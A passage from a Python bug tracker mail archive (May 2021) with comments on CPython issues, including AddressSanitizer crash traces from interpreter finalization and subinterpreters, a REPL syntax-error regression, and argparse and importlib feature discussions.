alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==77503==ABORTING ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 20:17:48 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 May 2021 00:17:48 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621556268.45.0.968344924781.issue44184@roundup.psfhosted.org> STINNER Victor added the comment: Valgrind detects the bug (unmodified Python): $ PYTHONMALLOC=debug valgrind ./python ref.py (...) ==607098== Invalid read of size 8 ==607098== at 0x493FBE: subtype_dealloc (typeobject.c:1456) ==607098== by 0x47C914: _Py_Dealloc (object.c:2288) ==607098== by 0x45F6BF: _Py_DECREF (object.h:500) ==607098== by 0x45F70D: _Py_XDECREF (object.h:567) ==607098== by 0x4654F5: dict_dealloc (dictobject.c:2068) ==607098== by 0x47C914: _Py_Dealloc (object.c:2288) ==607098== by 0x668EBE: _Py_DECREF (object.h:500) ==607098== by 0x66E8BE: ast_dealloc (Python-ast.c:764) ==607098== by 0x493FB9: subtype_dealloc (typeobject.c:1450) (...) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 20:20:29 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Fri, 21 May 2021 00:20:29 +0000 Subject: [issue44200] Recommend importlib.abc.Traversable users to implement __fspath__ In-Reply-To: <1621555757.0.0.446826001958.issue44200@roundup.psfhosted.org> Message-ID: <1621556429.47.0.78322860372.issue44200@roundup.psfhosted.org> Change by Filipe La?ns : ---------- assignee: -> docs at python components: +Documentation nosy: +docs at python _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 20:34:22 2021 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 21 May 2021 00:34:22 +0000 Subject: [issue44201] REPL requests another line despite syntax error Message-ID: <1621557262.74.0.483507293797.issue44201@roundup.psfhosted.org> New submission from Guido van Rossum : This seems a regression from 3.9. >>> foo[x = 1 ... ] File "", line 1 foo[x = 1 ^^^^^ SyntaxError: invalid syntax. Maybe you meant '==' or ':=' instead of '='? >>> Note how the syntax error is in line 1 and yet the REPL asks for more input (the "..." prompt) and doesn't stop until I type "]". In 3.9 I just get "SyntaxError: invalid syntax" but the REPL doesn't ask for the second line: >>> foo[x = 1 File "", line 1 foo[x = 1 ^ SyntaxError: invalid syntax >>> ---------- messages: 394087 nosy: gvanrossum priority: normal severity: normal status: open title: REPL requests another line despite syntax error type: compile error versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 20:34:42 2021 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 21 May 2021 00:34:42 +0000 Subject: [issue44201] REPL requests another line despite syntax error In-Reply-To: <1621557262.74.0.483507293797.issue44201@roundup.psfhosted.org> Message-ID: <1621557282.3.0.713387630754.issue44201@roundup.psfhosted.org> Change by Guido van Rossum : ---------- nosy: +lys.nikolaou, pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 20:34:53 2021 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 21 May 2021 00:34:53 +0000 Subject: [issue44201] REPL requests another line despite syntax error In-Reply-To: <1621557262.74.0.483507293797.issue44201@roundup.psfhosted.org> Message-ID: <1621557293.91.0.553774940615.issue44201@roundup.psfhosted.org> Change by Guido van Rossum : ---------- keywords: +3.10regression _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 20:40:18 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Fri, 21 May 2021 00:40:18 +0000 Subject: [issue44202] Add errors argument to importlib.abc.Traversable.read_text Message-ID: <1621557618.8.0.0795538281647.issue44202@roundup.psfhosted.org> New submission from Filipe La?ns : errors should be supported by Traversable.open and is currently supported in importlib.resources.open_text, but Traversable.read_text cannot do it, making it an unsuitable replacement for open_text. ---------- messages: 394088 nosy: FFY00, brett.cannon, jaraco priority: normal severity: normal status: open title: Add errors argument to importlib.abc.Traversable.read_text _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 20:42:57 2021 From: report at bugs.python.org (=?utf-8?q?Filipe_La=C3=ADns?=) Date: Fri, 21 May 2021 00:42:57 +0000 Subject: [issue44202] Add errors argument to importlib.abc.Traversable.read_text In-Reply-To: <1621557618.8.0.0795538281647.issue44202@roundup.psfhosted.org> Message-ID: <1621557777.71.0.191148920425.issue44202@roundup.psfhosted.org> Filipe La?ns added the comment: I am gonna wait until/if GH-26272 (#44196) gets merged to submit a PR because it will conflict with that. ---------- components: +Library (Lib) versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 20:51:10 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Fri, 21 May 2021 00:51:10 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1621558270.74.0.180117639712.issue43882@roundup.psfhosted.org> Change by Senthil Kumaran : ---------- pull_requests: +24881 stage: commit review -> patch review pull_request: https://github.com/python/cpython/pull/26275 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 20:55:47 2021 From: report at bugs.python.org (Hiroaki Mizuguchi) Date: Fri, 21 May 2021 00:55:47 +0000 Subject: [issue44120] logging.config.fileConfig/dictConfig can not import class In-Reply-To: <1620885602.73.0.397107954312.issue44120@roundup.psfhosted.org> Message-ID: <1621558547.01.0.196957131418.issue44120@roundup.psfhosted.org> Hiroaki Mizuguchi added the comment: bar module use logging module of stdlib not bar.logging module in this test case. change the statement to `from . import logging` is not a solution. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 21:07:01 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 21 May 2021 01:07:01 +0000 Subject: [issue44201] REPL requests another line despite syntax error In-Reply-To: <1621557262.74.0.483507293797.issue44201@roundup.psfhosted.org> Message-ID: <1621559221.61.0.543492117047.issue44201@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Unfortunately this happens because to generate the error message we check for the equal and the right hand side of the equal (to also discard some false positives) and this triggers the parser to ask for additional tokens. Notice that you don't need to close the ']', just provide an additional token: >>> x = [x=4 ... f File "", line 1 x = [x=4 ^^^ SyntaxError: invalid syntax. Maybe you meant '==' or ':=' instead of '='? Unfortunately is not going to be easy to solve without looking at the right hand side :( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 21:10:12 2021 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 21 May 2021 01:10:12 +0000 Subject: [issue44194] Folding ''.join() into f-strings In-Reply-To: <1621537414.24.0.919441492854.issue44194@roundup.psfhosted.org> Message-ID: <1621559412.35.0.951838082347.issue44194@roundup.psfhosted.org> Eric V. Smith added the comment: To be pedantic, f-strings don't "cast" to a string, they call format(obj) on the argument. Typically this is the same as str(obj), but it need not be. I guess if all of the arguments are already exact strings then this distinction doesn't matter, but I'd have to give it some more thought. I've never seen the pattern of joining a fixed size list, but I guess it exists in the wild. I'm skeptical that this optimization is worth doing. We should check on a real-world benchmark instead of a micro benchmark. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 21:26:55 2021 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 21 May 2021 01:26:55 +0000 Subject: [issue44199] code example index error in tutorial controlflow In-Reply-To: <1621552113.7.0.197671013428.issue44199@roundup.psfhosted.org> Message-ID: <1621560415.4.0.333191264742.issue44199@roundup.psfhosted.org> Eric V. Smith added the comment: The example is correct. The result is sorted by the second item (index=1) of each tuple: four one three two Maybe the text could make it more clear that that's the desired output. ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 21:33:44 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Fri, 21 May 2021 01:33:44 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1621560824.5.0.218758277545.issue43882@roundup.psfhosted.org> Change by Senthil Kumaran : ---------- pull_requests: +24882 pull_request: https://github.com/python/cpython/pull/26276 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 21:40:01 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Fri, 21 May 2021 01:40:01 +0000 Subject: [issue43882] [security] urllib.parse should sanitize urls containing ASCII newline and tabs. In-Reply-To: <1618774620.3.0.412025280445.issue43882@roundup.psfhosted.org> Message-ID: <1621561201.82.0.379243969742.issue43882@roundup.psfhosted.org> Change by Senthil Kumaran : ---------- pull_requests: +24883 pull_request: https://github.com/python/cpython/pull/26277 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 21:47:46 2021 From: report at bugs.python.org (Will Razen) Date: Fri, 21 May 2021 01:47:46 +0000 Subject: [issue14965] super() and property inheritance behavior In-Reply-To: <1338433441.66.0.975494137492.issue14965@psf.upfronthosting.co.za> Message-ID: <1621561666.9.0.782511448547.issue14965@roundup.psfhosted.org> Will Razen added the comment: Fixed superprop.py workaround, now works with multiple inheritance and follows mro adequately. Renamed to duper.py as inspired by Torsten. Uploading here and also to https://gist.github.com/willrazen/bef3fcb26a83dffb6692e5e10d3e67ac ---------- Added file: https://bugs.python.org/file50057/duper.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 22:00:05 2021 From: report at bugs.python.org (Tim Peters) Date: Fri, 21 May 2021 02:00:05 +0000 Subject: [issue44197] [request feature] Itertools extended combinations to limited number of repetition In-Reply-To: <1621542382.26.0.0131727923077.issue44197@roundup.psfhosted.org> Message-ID: <1621562405.52.0.571328009797.issue44197@roundup.psfhosted.org> Tim Peters added the comment: Dennis, combinations("aaabbbcccddd") isn't a valid call - the function requires a "how many?" argument too. If, e.g., we were asking for groups of 4, then combinations("aaabbbcccddd", 4) generates the 4-tuple ('a', 'b', 'c', 'd') 81 (3**4) times, while the OP presumably only wants to get it once. OTOH, combinations_with_replacement("abcd", 4) can generate tuples with more than 3 repetitions of a given element. The linked StackOverflow entry gives an efficient "real solution", but I agree with its author's final comment: "It is much too specialized for itertools". Indeed, it seems too obscure and special-purpose to me to even qualify as a reasonable candidate for an itertools doc "recipe". ---------- nosy: +tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 22:00:27 2021 From: report at bugs.python.org (Tim Peters) Date: Fri, 21 May 2021 02:00:27 +0000 Subject: [issue44197] [request feature] Itertools extended combinations to limited number of repetition In-Reply-To: <1621542382.26.0.0131727923077.issue44197@roundup.psfhosted.org> Message-ID: <1621562427.02.0.862502527863.issue44197@roundup.psfhosted.org> Change by Tim Peters : ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 20 23:22:49 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 21 May 2021 03:22:49 +0000 Subject: [issue44150] Add optional weights parameter to statistics.fmean() In-Reply-To: <1621191412.92.0.705417843904.issue44150@roundup.psfhosted.org> Message-ID: <1621567369.04.0.472298644686.issue44150@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 03:02:44 2021 From: report at bugs.python.org (Lucas Cimon) Date: Fri, 21 May 2021 07:02:44 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1621580564.85.0.149448166647.issue33109@roundup.psfhosted.org> Lucas Cimon added the comment: Reporting a duplicate / superseder with the following bug: parser = argparse.ArgumentParser() subparsers = parser.add_subparsers(required=True) subparsers.add_parser('foo') parser.parse_args() Raising: TypeError: sequence item 0: expected str instance, NoneType found It has already been reported in https://bugs.python.org/issue29298 with an interesting solution by Greg Minshall. ---------- nosy: +Lucas Cimon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 03:22:09 2021 From: report at bugs.python.org (Lucas Cimon) Date: Fri, 21 May 2021 07:22:09 +0000 Subject: [issue29298] argparse fails with required subparsers, un-named dest, and empty argv In-Reply-To: <1484664769.91.0.625725054847.issue29298@psf.upfronthosting.co.za> Message-ID: <1621581729.13.0.746623212742.issue29298@roundup.psfhosted.org> Change by Lucas Cimon : ---------- nosy: +Lucas Cimon nosy_count: 7.0 -> 8.0 pull_requests: +24884 pull_request: https://github.com/python/cpython/pull/26278 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 03:22:18 2021 From: report at bugs.python.org (Lucas Cimon) Date: Fri, 21 May 2021 07:22:18 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1621581738.0.0.497973811293.issue33109@roundup.psfhosted.org> Lucas Cimon added the comment: Sorry, the fix was by Mathias Ettinger: elif isinstance(argument, _SubParsersAction): return '{%s}' % ','.join(map(str, argument.choices)) I submitted a PR with this patch and a corresponding unit test: https://github.com/python/cpython/pull/26278 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 04:47:49 2021 From: report at bugs.python.org (Isaac Ge) Date: Fri, 21 May 2021 08:47:49 +0000 Subject: [issue44175] What do "cased" and "uncased" mean? In-Reply-To: <1621395940.01.0.564984916212.issue44175@roundup.psfhosted.org> Message-ID: <1621586869.33.0.699091997656.issue44175@roundup.psfhosted.org> Isaac Ge added the comment: @ Josh Rosenberg Sorry, I mistook "follow" as "be followed by". Thanks to your explication, the document is coherent. I admit that I cannot conjure up any better altnernative. I noticed that "cased character" are explained via the footnote: https://docs.python.org/3/library/stdtypes.html?highlight=istitle#id6 So it may be better to add a footnote for "uncased characters" as well, like ones in "str.istitle()" and "str.upper()". By the way, the footnote for "cased character" is a bit confusing because of the curt abbreviations "Lu", "Ll", and "Lt". I did not get these until I fount out they are related to general category of unicode, so we could add a related link pointing to a related Unicode document. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 04:54:17 2021 From: report at bugs.python.org (Isaac Ge) Date: Fri, 21 May 2021 08:54:17 +0000 Subject: [issue44175] What do "cased" and "uncased" mean? In-Reply-To: <1621395940.01.0.564984916212.issue44175@roundup.psfhosted.org> Message-ID: <1621587257.78.0.556873868305.issue44175@roundup.psfhosted.org> Isaac Ge added the comment: Or we could integrate the explanation of uncased characters into the footnote for cased characters, and append the footnote in "str.istitle()" and "str.upper()". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 05:30:12 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Fri, 21 May 2021 09:30:12 +0000 Subject: [issue44184] crash on windows invoking flake8 In-Reply-To: <1621481055.92.0.677600467741.issue44184@roundup.psfhosted.org> Message-ID: <1621589412.52.0.0883254924794.issue44184@roundup.psfhosted.org> Erlend E. Aasland added the comment: > Crash related to AST in interpreter_clear() remains me bpo-41796. Well remembered, Victor! Bisecting using Pablo's reproducer: fd957c124c44441d9c5eaf61f7af8cf266bafcb1 is the first bad commit commit fd957c124c44441d9c5eaf61f7af8cf266bafcb1 Author: Victor Stinner Date: Tue Nov 3 18:07:15 2020 +0100 bpo-41796: Call _PyAST_Fini() earlier to fix a leak (GH-23131) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 06:11:49 2021 From: report at bugs.python.org (Andre Roberge) Date: Fri, 21 May 2021 10:11:49 +0000 Subject: [issue44201] REPL requests another line despite syntax error In-Reply-To: <1621557262.74.0.483507293797.issue44201@roundup.psfhosted.org> Message-ID: <1621591909.31.0.403979544805.issue44201@roundup.psfhosted.org> Andre Roberge added the comment: I believe that this is similar to, but not quite as severe as a similar bug in code.interact() https://bugs.python.org/issue43366 which affects IDLE; perhaps fixing this might fix the other issue? ---------- nosy: +aroberge _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 06:28:24 2021 From: report at bugs.python.org (Jakub Kulik) Date: Fri, 21 May 2021 10:28:24 +0000 Subject: [issue41843] Reenable sendfile in shutil.copyfile() on Solaris In-Reply-To: <1600867452.06.0.35884925988.issue41843@roundup.psfhosted.org> Message-ID: <1621592904.29.0.341963301956.issue41843@roundup.psfhosted.org> Jakub Kulik added the comment: Based on the comment https://bugs.python.org/issue43743#msg393429 I think my question is answered: #36610 should not be reverted. Attached PR (which merely adds Solaris to systems where _USE_CP_SENDFILE is True) should thus be the preferred way of reenabling this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 06:48:37 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 21 May 2021 10:48:37 +0000 Subject: [issue44203] test__xxsubinterpreters: heap-buffer-overflow in interp_is_running() on AMD64 Arch Linux Asan 3.x Message-ID: <1621594117.76.0.160103726928.issue44203@roundup.psfhosted.org> New submission from STINNER Victor : AMD64 Arch Linux Asan 3.x: https://buildbot.python.org/all/#/builders/582/builds/157 See also: * bpo-37224: [subinterpreters] test__xxsubinterpreters fails randomly * bpo-44100: test__xxsubinterpreters: test_one() fails in AMD64 Fedora Stable 3.x: "Fatal Python error: Py_EndInterpreter: thread still has a frame" 0:37:59 load avg: 1.07 Re-running test__xxsubinterpreters in verbose mode (...) test_from_sibling (test.test__xxsubinterpreters.DestroyTests) ... ok test_main (test.test__xxsubinterpreters.DestroyTests) ... ok test_one (test.test__xxsubinterpreters.DestroyTests) ... ok ================================================================= ==16132==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x608000783694 at pc 0x7f20abecb577 bp 0x7fff392627b0 sp 0x7fff392627a0 READ of size 1 at 0x608000783694 thread T0 #0 0x7f20abecb576 in _PyFrame_IsExecuting Include/cpython/frameobject.h:53 #1 0x7f20abecb576 in _is_running /buildbot/buildarea/3.x.pablogsal-arch-x86_64.asan/build/Modules/_xxsubinterpretersmodule.c:1842 #2 0x7f20abecb576 in interp_is_running /buildbot/buildarea/3.x.pablogsal-arch-x86_64.asan/build/Modules/_xxsubinterpretersmodule.c:2255 #3 0x55a7ff1daa4f in cfunction_call Objects/methodobject.c:539 (...) #194 0x55a7fed361f4 in Py_BytesMain Modules/main.c:720 0x608000783694 is located 12 bytes to the left of 96-byte region [0x6080007836a0,0x608000783700) allocated by thread T0 here: #0 0x7f20b27b2459 in __interceptor_malloc /build/gcc/src/gcc/libsanitizer/asan/asan_malloc_linux.cpp:145 #1 0x55a7ff035572 in _PyObject_GC_Alloc Modules/gcmodule.c:2250 (...) #8 0x55a7ff24eedd in builtin___build_class__ Python/bltinmodule.c:225 (...) #17 0x55a7fef8dd90 in exec_code_in_module Python/import.c:771 (...) #20 0x55a7fefc33f6 in init_importlib Python/pylifecycle.c:141 #21 0x55a7fefc33f6 in pycore_interp_init Python/pylifecycle.c:811 #22 0x55a7fefccf03 in new_interpreter Python/pylifecycle.c:1916 #23 0x55a7fefccf03 in _Py_NewInterpreter Python/pylifecycle.c:1946 #24 0x7f20abec613c in interp_create /buildbot/buildarea/3.x.pablogsal-arch-x86_64.asan/build/Modules/_xxsubinterpretersmodule.c:2022 (...) (...) make: *** [Makefile:1255: buildbottest] Error 1 ---------- components: Tests messages: 394103 nosy: eric.snow, nanjekyejoannah, vstinner priority: normal severity: normal status: open title: test__xxsubinterpreters: heap-buffer-overflow in interp_is_running() on AMD64 Arch Linux Asan 3.x versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 07:09:08 2021 From: report at bugs.python.org (Bonifacio) Date: Fri, 21 May 2021 11:09:08 +0000 Subject: [issue11176] [doc] give more meaningful argument names in argparse documentation In-Reply-To: <1297352937.46.0.470038569364.issue11176@psf.upfronthosting.co.za> Message-ID: <1621595348.58.0.655689464067.issue11176@roundup.psfhosted.org> Change by Bonifacio : ---------- pull_requests: +24885 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/26279 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 07:35:25 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Fri, 21 May 2021 11:35:25 +0000 Subject: [issue44032] Function locals and evaluation stack should be stored in a contiguous, per-thread stack In-Reply-To: <1620140071.36.0.488434643792.issue44032@roundup.psfhosted.org> Message-ID: <1621596925.93.0.331333541057.issue44032@roundup.psfhosted.org> Erlend E. Aasland added the comment: Using Pablo's (or Victor's) reproducer from bpo-44184, I'm getting a crash, apparently because _PyThreadState_PushLocals() is called after PyThreadState_Clear(). In Python/pystate.c interpreter_clear(), we're first calling PyThreadState_Clear() (line 295), and a few lines later (line 326) we're running _PyGC_CollectNoFail(). Clearing tstate _after_ the last GC collect resolves the issue (see attached patch), but it might introduce other problems; I'm not at all familiar with this part of the codebase. FYI, git HEAD is at b11a951f16f0603d98de24fee5c023df83ea552c on main. ================================================================= ==22475==ERROR: AddressSanitizer: heap-use-after-free on address 0x629000000220 at pc 0x00010c985aa8 bp 0x7ffee3bab620 sp 0x7ffee3bab618 WRITE of size 8 at 0x629000000220 thread T0 #0 0x10c985aa7 in _PyThreadState_PushLocals pystate.c:2030 #1 0x10c7fc8b6 in _PyEval_Vector ceval.c:5164 #2 0x10c397ebe in _PyFunction_Vectorcall call.c:342 #3 0x10c5591b2 in _PyObject_VectorcallTstate abstract.h:114 #4 0x10c558f6b in PyObject_CallOneArg abstract.h:184 #5 0x10c5586c9 in call_unbound_noarg typeobject.c:1625 #6 0x10c57d578 in slot_tp_finalize typeobject.c:7762 #7 0x10ca2ea0b in finalize_garbage gcmodule.c:982 #8 0x10ca2694d in gc_collect_main gcmodule.c:1287 #9 0x10ca25f9c in _PyGC_CollectNoFail gcmodule.c:2123 #10 0x10c97abed in interpreter_clear pystate.c:326 #11 0x10c97ae81 in _PyInterpreterState_Clear pystate.c:358 #12 0x10c9697d9 in finalize_interp_clear pylifecycle.c:1634 #13 0x10c96925b in Py_FinalizeEx pylifecycle.c:1812 #14 0x10ca1f143 in Py_RunMain main.c:668 #15 0x10ca203e4 in pymain_main main.c:696 #16 0x10ca20694 in Py_BytesMain main.c:720 #17 0x10c055a91 in main python.c:15 #18 0x7fff20582f3c in start+0x0 (libdyld.dylib:x86_64+0x15f3c) 0x629000000220 is located 32 bytes inside of 16384-byte region [0x629000000200,0x629000004200) freed by thread T0 here: #0 0x10d518609 in wrap_free+0xa9 (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x48609) #1 0x10c50a7fc in _PyObject_ArenaFree obmalloc.c:174 #2 0x10c5098e7 in _PyObject_VirtualFree obmalloc.c:564 #3 0x10c9808cf in PyThreadState_Clear pystate.c:904 #4 0x10c97a178 in interpreter_clear pystate.c:295 #5 0x10c97ae81 in _PyInterpreterState_Clear pystate.c:358 #6 0x10c9697d9 in finalize_interp_clear pylifecycle.c:1634 #7 0x10c96925b in Py_FinalizeEx pylifecycle.c:1812 #8 0x10ca1f143 in Py_RunMain main.c:668 #9 0x10ca203e4 in pymain_main main.c:696 #10 0x10ca20694 in Py_BytesMain main.c:720 #11 0x10c055a91 in main python.c:15 #12 0x7fff20582f3c in start+0x0 (libdyld.dylib:x86_64+0x15f3c) previously allocated by thread T0 here: #0 0x10d5184c0 in wrap_malloc+0xa0 (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x484c0) #1 0x10c50a7d8 in _PyObject_ArenaMalloc obmalloc.c:168 #2 0x10c5098af in _PyObject_VirtualAlloc obmalloc.c:558 #3 0x10c985bb7 in allocate_chunk pystate.c:617 #4 0x10c97d6ee in new_threadstate pystate.c:678 #5 0x10c97cb49 in PyThreadState_New pystate.c:706 #6 0x10c96e26b in pycore_create_interpreter pylifecycle.c:614 #7 0x10c96ca7c in pyinit_config pylifecycle.c:834 #8 0x10c967c3a in pyinit_core pylifecycle.c:1003 #9 0x10c967429 in Py_InitializeFromConfig pylifecycle.c:1188 #10 0x10ca2409f in pymain_init main.c:66 #11 0x10ca201ee in pymain_main main.c:687 #12 0x10ca20694 in Py_BytesMain main.c:720 #13 0x10c055a91 in main python.c:15 #14 0x7fff20582f3c in start+0x0 (libdyld.dylib:x86_64+0x15f3c) SUMMARY: AddressSanitizer: heap-use-after-free pystate.c:2030 in _PyThreadState_PushLocals Shadow bytes around the buggy address: 0x1c51fffffff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1c5200000000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x1c5200000010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x1c5200000020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x1c5200000030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x1c5200000040: fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd 0x1c5200000050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x1c5200000060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x1c5200000070: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x1c5200000080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x1c5200000090: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==22475==ABORTING ---------- nosy: +erlendaasland Added file: https://bugs.python.org/file50058/fix.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 07:36:19 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Fri, 21 May 2021 11:36:19 +0000 Subject: [issue44032] Function locals and evaluation stack should be stored in a contiguous, per-thread stack In-Reply-To: <1620140071.36.0.488434643792.issue44032@roundup.psfhosted.org> Message-ID: <1621596979.66.0.523673997011.issue44032@roundup.psfhosted.org> Erlend E. Aasland added the comment: cc. Pablo, Victor ---------- nosy: +pablogsal, vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 07:50:34 2021 From: report at bugs.python.org (Vinay Sajip) Date: Fri, 21 May 2021 11:50:34 +0000 Subject: [issue44120] logging.config.fileConfig/dictConfig can not import class In-Reply-To: <1620885602.73.0.397107954312.issue44120@roundup.psfhosted.org> Message-ID: <1621597834.6.0.359133167216.issue44120@roundup.psfhosted.org> Vinay Sajip added the comment: > bar module use logging module of stdlib not bar.logging module in this test case. Then bar.logging is ambiguous. There's no reason one has to use a stdlib package name in one's own package. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 07:55:03 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 21 May 2021 11:55:03 +0000 Subject: [issue38671] pathlib.Path.resolve(strict=False) returns relative path on Windows if the entry does not exist In-Reply-To: <1572774931.11.0.993470333259.issue38671@roundup.psfhosted.org> Message-ID: <1621598103.72.0.188686354475.issue38671@roundup.psfhosted.org> miss-islington added the comment: New changeset ee51c56c02d8eac28828a116fa35064919433d20 by Barney Gale in branch '3.10': [3.10] bpo-38671: Add test that `pathlib.Path.resolve()` returns an absolute path. (GH-26184) (GH-26270) https://github.com/python/cpython/commit/ee51c56c02d8eac28828a116fa35064919433d20 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 07:55:03 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 21 May 2021 11:55:03 +0000 Subject: [issue43757] pathlib: move 'resolve()' logic out of path flavour In-Reply-To: <1617762768.57.0.0406169855145.issue43757@roundup.psfhosted.org> Message-ID: <1621598103.35.0.256243758824.issue43757@roundup.psfhosted.org> miss-islington added the comment: New changeset ee51c56c02d8eac28828a116fa35064919433d20 by Barney Gale in branch '3.10': [3.10] bpo-38671: Add test that `pathlib.Path.resolve()` returns an absolute path. (GH-26184) (GH-26270) https://github.com/python/cpython/commit/ee51c56c02d8eac28828a116fa35064919433d20 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 08:15:06 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 21 May 2021 12:15:06 +0000 Subject: [issue44201] REPL requests another line despite syntax error In-Reply-To: <1621557262.74.0.483507293797.issue44201@roundup.psfhosted.org> Message-ID: <1621599306.44.0.436250403333.issue44201@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: No, this issue is in the parser while the other is caused by the code module. As I mentioned, this case doesn't ask you for tokens until you close the brace, it just ask you for one extra token because is doing a lookahead. If you give any extra token to satisfy the lookahead: >>> foo[x = 1 $ File "", line 1 foo[x = 1 $ ^^^^^ SyntaxError: invalid syntax. Maybe you meant '==' or ':=' instead of '='? >>> It fails immediately even if you didn't close the bracket ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 21 08:16:57 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 21 May 2021 12:16:57 +0000 Subject: [issue44201] REPL requests another line despite syntax error In-Reply-To: <1621557262.74.0.483507293797.issue44201@roundup.psfhosted.org> Message-ID: <1621599417.09.0.446516237322.issue44201@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I will try to see if we can do something about this but the only thing I can think of is removing the lookaheads in the invalid comparison rules but then we need to solve the false positives (like keyword arguments) and that's going to be very hard to do without 